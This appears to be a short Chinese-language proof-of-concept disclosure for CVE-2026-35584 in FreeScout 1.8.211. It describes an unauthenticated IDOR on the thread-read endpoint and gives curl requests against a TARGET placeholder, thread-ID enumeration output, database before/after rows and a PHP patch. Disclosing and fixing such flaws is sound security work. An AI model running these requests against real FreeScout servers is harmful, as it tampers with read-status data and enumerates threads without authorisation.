POC - CVE-2026-35584 FreeScout
端点 GET /thread/read/{conversation_id}/{thread_id} 不需要身份验证,并且不验证给定的 thread_id 是否属于给定的 conversation_id。这允许任何未经身份验证的攻击者:
通过传递任意 ID 将任何线程标记为已读 通过 HTTP 响应代码(200 与 404)枚举有效的线程 ID 跨会话操纵 opened_at 时间戳(IDOR)
受影响版本
1.8.211(最新版)
创建两个会话(conv_id=1 和 conv_id=2) 在会话 2 中创建一个线程(thread_id=3) 在没有任何身份验证的情况下,发送:GET /thread/read/1/3 在数据库中验证 — thread_id=3 的 opened_at 现在已被设置,尽管是通过错误的 conversation_id 访问的
curl -v "http://TARGET/thread/read/1/3"
返回 HTTP 200 并在线程 3 上设置 opened_at
无需身份验证 IDOR:thread_id 未针对 conversation_id 进行验证 线程枚举:HTTP 200 = 有效线程,404 = 无效 操纵支持代理使用的已读/未读指标 破坏会话隔离模型
if ($thread->conversation_id !== (int)$conversation_id) {
abort(403);
}
线程枚举(未经身份验证)
curl -v "http://TARGET/thread/read/1/1" → HTTP 200(有效线程)
curl -v "http://TARGET/thread/read/1/2" → HTTP 200(有效线程)
curl -v "http://TARGET/thread/read/1/3" → HTTP 200(IDOR - 线程属于会话 2)
curl -v "http://TARGET/thread/read/1/4" → HTTP 404(无效线程)
之前: | id | conversation_id | opened_at | | 3 | 2 | NULL |
执行 GET /thread/read/1/3(无身份验证)之后: | id | conversation_id | opened_at | | 3 | 2 | 2026-04-03 23:19:46 |